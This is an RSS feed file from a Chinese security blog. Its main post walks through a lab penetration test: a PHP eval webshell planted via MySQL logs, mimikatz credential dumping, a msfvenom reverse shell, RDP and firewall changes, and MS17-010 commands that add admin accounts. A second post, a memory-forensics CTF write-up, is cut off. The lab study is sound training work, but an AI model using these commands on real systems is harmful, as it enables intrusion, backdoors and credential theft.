-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathindex.xml
4512 lines (3302 loc) · 308 KB
/
index.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>gucheNg</title>
<link>http://gucheng.me/</link>
<description>Recent content on gucheNg</description>
<generator>Hugo -- gohugo.io</generator>
<language>zh-cn</language>
<copyright>gucheNg</copyright>
<lastBuildDate>Sun, 08 Dec 2024 12:19:00 +0800</lastBuildDate><atom:link href="http://gucheng.me/index.xml" rel="self" type="application/rss+xml" /><item>
<title>红日内网靶场1</title>
<link>http://gucheng.me/p/%E7%BA%A2%E6%97%A5%E5%86%85%E7%BD%91%E9%9D%B6%E5%9C%BA1/</link>
<pubDate>Sun, 08 Dec 2024 12:19:00 +0800</pubDate>
<guid>http://gucheng.me/p/%E7%BA%A2%E6%97%A5%E5%86%85%E7%BD%91%E9%9D%B6%E5%9C%BA1/</guid>
<description><h3 id="1环境搭建">1.环境搭建
</h3><p>参考以下文章,不做过多叙述</p>
<p>&lt;https://blog.csdn.net/m0_46363249/article/details/121441832</p>
<hr>
<h3 id="2拓扑图和机器信息">2.拓扑图和机器信息
</h3><p><img src="http://gucheng.me/img/%e7%bb%98%e5%9b%be2.png"
loading="lazy"
alt="img"
></p>
<p><img src="http://gucheng.me/img/image-20241208122350101.png"
loading="lazy"
alt="image-20241208122350101"
></p>
<hr>
<h3 id="3打点">3.打点
</h3><p>端口扫描发现80站点和3306mysql服务</p>
<p><img src="http://gucheng.me/img/image-20241208142541944.png"
loading="lazy"
alt="image-20241208142541944"
></p>
<p>访问http发现phpstudy探针</p>
<p><img src="http://gucheng.me/img/image-20241208142628629.png"
loading="lazy"
alt="image-20241208142628629"
></p>
<p>使用hydra发现无法连接</p>
<p><img src="http://gucheng.me/img/image-20241208142912387.png"
loading="lazy"
alt="image-20241208142912387"
></p>
<p>截包尝试爆破发现一个异常长度</p>
<p><img src="http://gucheng.me/img/image-20241208143525512.png"
loading="lazy"
alt="image-20241208143525512"
></p>
<p>返回包看不出什么,到web界面手动输入root,root发现连接正常说明存在弱口令root/root</p>
<p><img src="http://gucheng.me/img/image-20241208143542310.png"
loading="lazy"
alt="image-20241208143542310"
></p>
<p>尝试连接发现不允许从外部连接</p>
<p><img src="http://gucheng.me/img/image-20241208143801745.png"
loading="lazy"
alt="image-20241208143801745"
></p>
<p>掏出82年的笔记,按理说phpstudy搭建应该有phpadmin</p>
<p><img src="http://gucheng.me/img/image-20241208143857821.png"
loading="lazy"
alt="image-20241208143857821"
></p>
<p>访问路径发现的确存在</p>
<p><img src="http://gucheng.me/img/image-20241208143958943.png"
loading="lazy"
alt="image-20241208143958943"
></p>
<p>使用弱口令root/root成功进入</p>
<p><img src="http://gucheng.me/img/image-20241208144044408.png"
loading="lazy"
alt="image-20241208144044408"
></p>
<p>发现是能够执行sql语句的</p>
<p><img src="http://gucheng.me/img/image-20241208144514164.png"
loading="lazy"
alt="image-20241208144514164"
></p>
<p>接下来我们尝试利用mysql 写入webshell</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">#mysql写入webshell需要的条件
</span></span><span class="line"><span class="cl">1.mysql用户为root或dba赋权较高用户
</span></span><span class="line"><span class="cl">2.有写入权限(FILE)
</span></span><span class="line"><span class="cl">3.知道网站的绝对路径
</span></span><span class="line"><span class="cl">4.服务器配置secure_file_priv
</span></span><span class="line"><span class="cl">该选项为空代表可以写入任何目录
</span></span><span class="line"><span class="cl">该选项如果有目录则代表只允许写入该目录下文件
</span></span><span class="line"><span class="cl">该选项为null代表没有权限
</span></span></code></pre></td></tr></table>
</div>
</div><p>查询&quot;secure_file_priv&quot;</p>
<p><img src="http://gucheng.me/img/image-20241208144950595.png"
loading="lazy"
alt="image-20241208144950595"
></p>
<p>发现为null就是没有写入权限</p>
<p><img src="http://gucheng.me/img/image-20241208145019777.png"
loading="lazy"
alt="image-20241208145019777"
></p>
<p>查询一下日志功能,尝试利用日志getshell</p>
<p><img src="http://gucheng.me/img/image-20241208151454482.png"
loading="lazy"
alt="image-20241208151454482"
></p>
<p>关闭了但是我们可以手动开启,输入sql语句<code>SET GLOBAL general_log = ON;</code>执行成功开启</p>
<p><img src="http://gucheng.me/img/image-20241208151634306.png"
loading="lazy"
alt="image-20241208151634306"
></p>
<p>我这里偷窥了一下站点目录,这个应该记住!</p>
<p><img src="http://gucheng.me/img/image-20241208151917953.png"
loading="lazy"
alt="image-20241208151917953"
></p>
<p>接下来的思路是设置日志文件写到一个php文件中,<code>SET GLOBAL general_log_file = 'C:/phpstudy/WWW/test.php';</code></p>
<p><img src="http://gucheng.me/img/image-20241208160931473.png"
loading="lazy"
alt="image-20241208160931473"
></p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">#这里前面不能加@
</span></span><span class="line"><span class="cl">select &#39;&lt;?php eval($_POST[gucheng]);?&gt;&#39;;
</span></span></code></pre></td></tr></table>
</div>
</div><p><img src="http://gucheng.me/img/image-20241208161435113.png"
loading="lazy"
alt="image-20241208161435113"
></p>
<p><img src="http://gucheng.me/img/image-20241208162418255.png"
loading="lazy"
alt="image-20241208162418255"
></p>
<p>进来后发现还有个网站yxcms,我们练习都打一下</p>
<p><img src="http://gucheng.me/img/image-20241208164539137.png"
loading="lazy"
alt="image-20241208164539137"
></p>
<p>棱洞扫了下发现这cms就叫这个</p>
<p><img src="http://gucheng.me/img/image-20241208165056769.png"
loading="lazy"
alt="image-20241208165056769"
></p>
<p>查看网页源代码发现默认口令</p>
<p><img src="http://gucheng.me/img/image-20241208165525343.png"
loading="lazy"
alt="image-20241208165525343"
></p>
<p>到指定路径输入默认口令成功登入,修改模版index_index.php</p>
<p><img src="http://gucheng.me/img/image-20241208170152404.png"
loading="lazy"
alt="image-20241208170152404"
></p>
<p>写入一句马</p>
<p><img src="http://gucheng.me/img/image-20241208170701742.png"
loading="lazy"
alt="image-20241208170701742"
></p>
<p>蚁剑成功连接</p>
<p><img src="http://gucheng.me/img/image-20241208170809940.png"
loading="lazy"
alt="image-20241208170809940"
></p>
<hr>
<h3 id="4内网渗透">4.内网渗透
</h3><p>之前一直内网手渗透,下面就用cs操作了,主要是内网信息收集插件方便点</p>
<p>将生成马上传到站点目录下运行上线</p>
<p><img src="http://gucheng.me/img/image-20241208184123955.png"
loading="lazy"
alt="image-20241208184123955"
></p>
<p>ladon插件 icmp检测主机存活一致</p>
<p><img src="http://gucheng.me/img/image-20241208185403956.png"
loading="lazy"
alt="image-20241208185403956"
></p>
<p>发现存在域环境,域名为god.org</p>
<p><img src="http://gucheng.me/img/image-20241208193501834.png"
loading="lazy"
alt="image-20241208193501834"
></p>
<p>ladon infoscan整个网段确实如此</p>
<p><img src="http://gucheng.me/img/image-20241208193607344.png"
loading="lazy"
alt="image-20241208193607344"
></p>
<p>现在是administrator权限,可以尝试提到system权限</p>
<p><img src="http://gucheng.me/img/image-20241208194301195.png"
loading="lazy"
alt="image-20241208194301195"
></p>
<p>上传个nc到c:\windows\temp目录</p>
<p><img src="http://gucheng.me/img/image-20241208194237316.png"
loading="lazy"
alt="image-20241208194237316"
></p>
<p>弹过来没反应</p>
<p><img src="http://gucheng.me/img/image-20241208200518356.png"
loading="lazy"
alt="image-20241208200518356"
></p>
<p>mimikatz抓取到密码</p>
<p><img src="http://gucheng.me/img/image-20241208200318243.png"
loading="lazy"
alt="image-20241208200318243"
></p>
<p>尝试用psexec连接也不行</p>
<p><img src="http://gucheng.me/img/image-20241208202630995.png"
loading="lazy"
alt="image-20241208202630995"
></p>
<p>查看一下系统信息,打了什么补丁</p>
<p><img src="http://gucheng.me/img/image-20241208202537197.png"
loading="lazy"
alt="image-20241208202537197"
></p>
<p>使用梼杌中的ms14-058提权成功</p>
<p><img src="http://gucheng.me/img/image-20241208204847821.png"
loading="lazy"
alt="image-20241208204847821"
></p>
<p><img src="http://gucheng.me/img/image-20241208202805154.png"
loading="lazy"
alt="image-20241208202805154"
></p>
<p>上面搞的好像是有点问题,Windows应该是3389远程桌面连接,重新搞下</p>
<p>执行netstat -ano未发现3389端口开启</p>
<p><img src="http://gucheng.me/img/image-20241209133742373.png"
loading="lazy"
alt="image-20241209133742373"
></p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">通过以下命令查询注册表来查看 RDP 服务是否开启:
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">REG QUERY &#34;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server&#34; /v fDenyTSConnections
</span></span><span class="line"><span class="cl"># 查看RDP服务是否开启: 1关闭, 0开启
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">REG QUERY &#34;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\ WinStations\RDP-Tcp&#34; /v PortNumber # 查看 RDP 服务的端口
</span></span></code></pre></td></tr></table>
</div>
</div><p>为1关闭</p>
<p><img src="http://gucheng.me/img/image-20241209135458399.png"
loading="lazy"
alt="image-20241209135458399"
></p>
<p>使用命令<code>REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal&quot; &quot;Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f</code>手动开启</p>
<p>为0成功开启</p>
<p><img src="http://gucheng.me/img/image-20241209135700721.png"
loading="lazy"
alt="image-20241209135700721"
></p>
<p>再使用命令配置一下防火墙允许连接</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">netsh advfirewall firewall add rule name=&#34;Remote Desktop&#34; protocol=TCP dir=in localport=3389 action=allow
</span></span></code></pre></td></tr></table>
</div>
</div><p><img src="http://gucheng.me/img/image-20241209141144583.png"
loading="lazy"
alt="image-20241209141144583"
></p>
<p>接下来可以使用kali自带的xfreerdp进行连接,我这里为了后期渗透方便选择msf的</p>
<p>先使用msfvenom组件生成一个马</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.52.128 lport=4444 -f exe -o /root/Desktop/shell.exe
</span></span></code></pre></td></tr></table>
</div>
</div><p>传上去执行后拿到meterpreter会话</p>
<p><img src="http://gucheng.me/img/image-20241209143251537.png"
loading="lazy"
alt="image-20241209143251537"
></p>
<p><img src="http://gucheng.me/img/image-20241209143532781.png"
loading="lazy"
alt="image-20241209143532781"
></p>
<p>提权到system</p>
<p><img src="http://gucheng.me/img/image-20241209143942740.png"
loading="lazy"
alt="image-20241209143942740"
></p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">run post/windows/manage/enable_rdp #开启远程桌面
</span></span><span class="line"><span class="cl">会生成一个文件,该文件可用来 再关闭远程桌面
</span></span><span class="line"><span class="cl">run multi_console_command -r 文件地址
</span></span></code></pre></td></tr></table>
</div>
</div><p>接下来做域内信息收集准备横向</p>
<p>输入net view发现另外两台主机</p>
<p><img src="http://gucheng.me/img/image-20241209132456126.png"
loading="lazy"
alt="image-20241209132456126"
></p>
<p><img src="http://gucheng.me/img/image-20241209153323049.png"
loading="lazy"
alt="image-20241209153323049"
></p>
<p>汇总一下信息</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">域名:god.org
</span></span><span class="line"><span class="cl">域控:OWA
</span></span><span class="line"><span class="cl">域内用户三个:
</span></span><span class="line"><span class="cl">Administrator
</span></span><span class="line"><span class="cl">ligang
</span></span><span class="line"><span class="cl">liukaifeng01
</span></span><span class="line"><span class="cl">域内主机三台:
</span></span><span class="line"><span class="cl">STU1(win7) 192.168.52.143
</span></span><span class="line"><span class="cl">OWA 192.168.52.138
</span></span><span class="line"><span class="cl">ROOT-TVI862UBEH 192.168.52.141
</span></span></code></pre></td></tr></table>
</div>
</div><h4 id="41-使用proxychains代理">4.1 使用proxychains代理:
</h4><p>添加内网路由 run autoroute -s 192.168.52.0/24,查看一下arp缓存表存在52网段</p>
<p><img src="http://gucheng.me/img/image-20241209154407675.png"
loading="lazy"
alt="image-20241209154407675"
></p>
<p>background返回一下,使用socks代理模块</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">msf6 auxiliary(server/socks_proxy) &gt; use auxiliary/server/socks_proxy
</span></span><span class="line"><span class="cl">msf6 auxiliary(server/socks_proxy) &gt; show options
</span></span><span class="line"><span class="cl">msf6 auxiliary(server/socks_proxy) &gt; set VERSION 5
</span></span><span class="line"><span class="cl">VERSION =&gt; 5
</span></span><span class="line"><span class="cl">msf6 auxiliary(server/socks_proxy) &gt; set username admin
</span></span><span class="line"><span class="cl">username =&gt; admin
</span></span><span class="line"><span class="cl">msf6 auxiliary(server/socks_proxy) &gt; set password admin
</span></span><span class="line"><span class="cl">msf6 auxiliary(server/socks_proxy) &gt; run
</span></span></code></pre></td></tr></table>
</div>
</div><p>重新开个终端vim /etc/proxychains.conf,如下配置</p>
<p><img src="http://gucheng.me/img/image-20241209162027957.png"
loading="lazy"
alt="image-20241209162027957"
></p>
<p>返回msf6,输入<code>proxychains curl http://192.168.52.143/yxcms/index.php</code>,测试可以成功访问192.168.52.0网段</p>
<p><img src="http://gucheng.me/img/image-20241209162205894.png"
loading="lazy"
alt="image-20241209162205894"
></p>
<h4 id="42-cs直接建立socks5代理">4.2 CS直接建立socks5代理
</h4><p>右键点击机器-&gt;代理转发-&gt;socks代理,发现是62549端口</p>
<p><img src="http://gucheng.me/img/image-20241209162347235.png"
loading="lazy"
alt="image-20241209162347235"
></p>
<p>proxifier检测成功,还是这个更方便点</p>
<p><img src="http://gucheng.me/img/image-20241209162500913.png"
loading="lazy"
alt="image-20241209162500913"
></p>
<p>再在代理规则选择刚才那个即可</p>
<p><img src="http://gucheng.me/img/image-20241209163321746.png"
loading="lazy"
alt="image-20241209163321746"
></p>
<p><img src="http://gucheng.me/img/image-20241209163352580.png"
loading="lazy"
alt="image-20241209163352580"
></p>
<h4 id="43-渗透同域主机19216852141">4.3 渗透同域主机192.168.52.141
</h4><p><code>proxychains nmap -Pn 192.168.52.141</code></p>
<p><img src="http://gucheng.me/img/image-20241209164251738.png"
loading="lazy"
alt="image-20241209164251738"
></p>
<p>通过445smb端口检测操作系统为Windows server2003,<code>proxychains nmap -sV 192.168.52.141 -p 445</code></p>
<p><img src="http://gucheng.me/img/image-20241209164513076.png"
loading="lazy"
alt="image-20241209164513076"
></p>
<p>搜了一下2003全是永恒之蓝</p>
<p><img src="http://gucheng.me/img/image-20241209165028841.png"
loading="lazy"
alt="image-20241209165028841"
></p>
<p>先用第三个模块检测一下</p>
<p><img src="http://gucheng.me/img/image-20241209170232546.png"
loading="lazy"
alt="image-20241209170232546"
></p>
<p>直接使用msf里面的攻击模块了(ms17-010)发现接收不了session,使用msf的代理之后就不能使用反向shell了,我们需要使用正向shell。</p>
<p><img src="http://gucheng.me/img/image-20241209165759224.png"
loading="lazy"
alt="image-20241209165759224"
></p>
<p>换用这个代码执行试试<code>use auxiliary/admin/smb/ms17_010_command</code></p>
<p>代码成功运行</p>
<p><img src="http://gucheng.me/img/image-20241209170439287.png"
loading="lazy"
alt="image-20241209170439287"
></p>
<p>接下来执行如下命令</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">set command net user gucheng !@#123qwe!@# /add #添加用户
</span></span><span class="line"><span class="cl">run
</span></span><span class="line"><span class="cl">set command net localgroup administrators gucheng /add #管理员权限
</span></span><span class="line"><span class="cl">run
</span></span><span class="line"><span class="cl">set command &#39;REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal&#34; &#34;Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f&#39; #开启rdp
</span></span><span class="line"><span class="cl">run
</span></span></code></pre></td></tr></table>
</div>
</div><p>使用rdesktop连接<code>proxychains rdesktop 192.168.52.141</code></p>
<p><img src="http://gucheng.me/img/image-20241209171859855.png"
loading="lazy"
alt="image-20241209171859855"
></p>
<p>连接成功</p>
<p><img src="http://gucheng.me/img/image-20241209171919145.png"
loading="lazy"
alt="image-20241209171919145"
></p>
<p>msf设置正反向shell都打不通不知道为啥,登个远程桌面算了</p>
<h4 id="44-打域控">4.4 打域控
</h4><p>扫描端口,发现445又开启了</p>
<p><img src="http://gucheng.me/img/image-20241209182152367.png"
loading="lazy"
alt="image-20241209182152367"
></p>
<p>接下来执行如下命令</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">set command net user gucheng2 !@#123qwe!@# /add #添加用户
</span></span><span class="line"><span class="cl">run
</span></span><span class="line"><span class="cl">set command net localgroup administrators gucheng2 /add #管理员权限
</span></span><span class="line"><span class="cl">run
</span></span><span class="line"><span class="cl">set command netsh advfirewall firewall add rule name=&#34;Remote Desktop&#34; protocol=TCP dir=in localport=3389 action=allow #开启防火墙端口
</span></span><span class="line"><span class="cl">run
</span></span><span class="line"><span class="cl">set command &#39;REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal&#34; &#34;Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f&#39; #开启rdp
</span></span><span class="line"><span class="cl">run
</span></span></code></pre></td></tr></table>
</div>
</div><p>创建成功</p>
<p><img src="http://gucheng.me/img/image-20241209180926400.png"
loading="lazy"
alt="image-20241209180926400"
></p>
<p><code>proxychains rdesktop 192.168.52.138</code> 发现连接不了,端口filtered,裂开,这个msf的模块打不通不知道啥原因,以后再研究艹</p>
<p><img src="http://gucheng.me/img/image-20241209183526997.png"
loading="lazy"
alt="image-20241209183526997"
></p>
</description>
</item>
<item>
<title>[陇剑杯2021]机密内存复现</title>
<link>http://gucheng.me/p/%E9%99%87%E5%89%91%E6%9D%AF2021%E6%9C%BA%E5%AF%86%E5%86%85%E5%AD%98%E5%A4%8D%E7%8E%B0/</link>
<pubDate>Sat, 30 Nov 2024 12:56:25 +0800</pubDate>
<guid>http://gucheng.me/p/%E9%99%87%E5%89%91%E6%9D%AF2021%E6%9C%BA%E5%AF%86%E5%86%85%E5%AD%98%E5%A4%8D%E7%8E%B0/</guid>
<description><p>目前做过的内存取证题不多,这道题难度较高具有启发意义,所以记录一下留作以后参照</p>
<p>复现地址:&lt;[<a class="link" href="https://www.nssctf.cn/problem/308" target="_blank" rel="noopener"
>陇剑杯 2021]机密内存(问1) | NSSCTF</a>&gt;</p>
<h3 id="知识了解之vmware虚拟机文件类型">知识了解之vmware虚拟机文件类型
</h3><p><img src="http://gucheng.me/img/image-20241201140759742.png"
loading="lazy"
alt="image-20241201140759742"
></p>
<hr>
<h3 id="思考过程">思考过程
</h3><p>解压后拿到三个文件,vmem为分页备份文件, 其余两个文件类型暂时不清楚. 先尝试提取发现果然是不行的</p>
<p><img src="http://gucheng.me/img/image-20241130133414469.png"
loading="lazy"
alt="image-20241130133414469"
></p>
<p>接下来看看另外两个文件</p>
<p>打开Encryption.bin01发现为一个二进制文件</p>
<p><img src="http://gucheng.me/img/image-20241201140832804.png"
loading="lazy"
alt="image-20241201140832804"
></p>
<p>根据文件大小数千kb和本地的vmss文件(虚拟机挂起时记录状态的文件)进行对比判断Encryption.bin01为vmss文件</p>
<p><img src="http://gucheng.me/img/image-20241201140849630.png"
loading="lazy"
alt="image-20241201140849630"
></p>
<p>将Encryption.bin01文件重命名为mem_secret-963a4663.vmss,vmss文件的文件名一定要和vmem文件名对应,否则无法读取挂起的状态</p>
<p><img src="http://gucheng.me/img/image-20241201140903251.png"
loading="lazy"
alt="image-20241201140903251"
></p>
<p>然后打开Encryption.bin02文件发现一半是某种加密可见字符串,另一半出现较多乱码</p>
<p>将后半中的未加密字符串进行搜索发现提到加密和vmx文件</p>
<p><img src="http://gucheng.me/img/image-20241201140924735.png"
loading="lazy"
alt="image-20241201140924735"
></p>
<p>打开本地kali的vmx文件发现是一些配置,由此看来是对配置信息进行了加密</p>
<p><img src="http://gucheng.me/img/image-20241201140938097.png"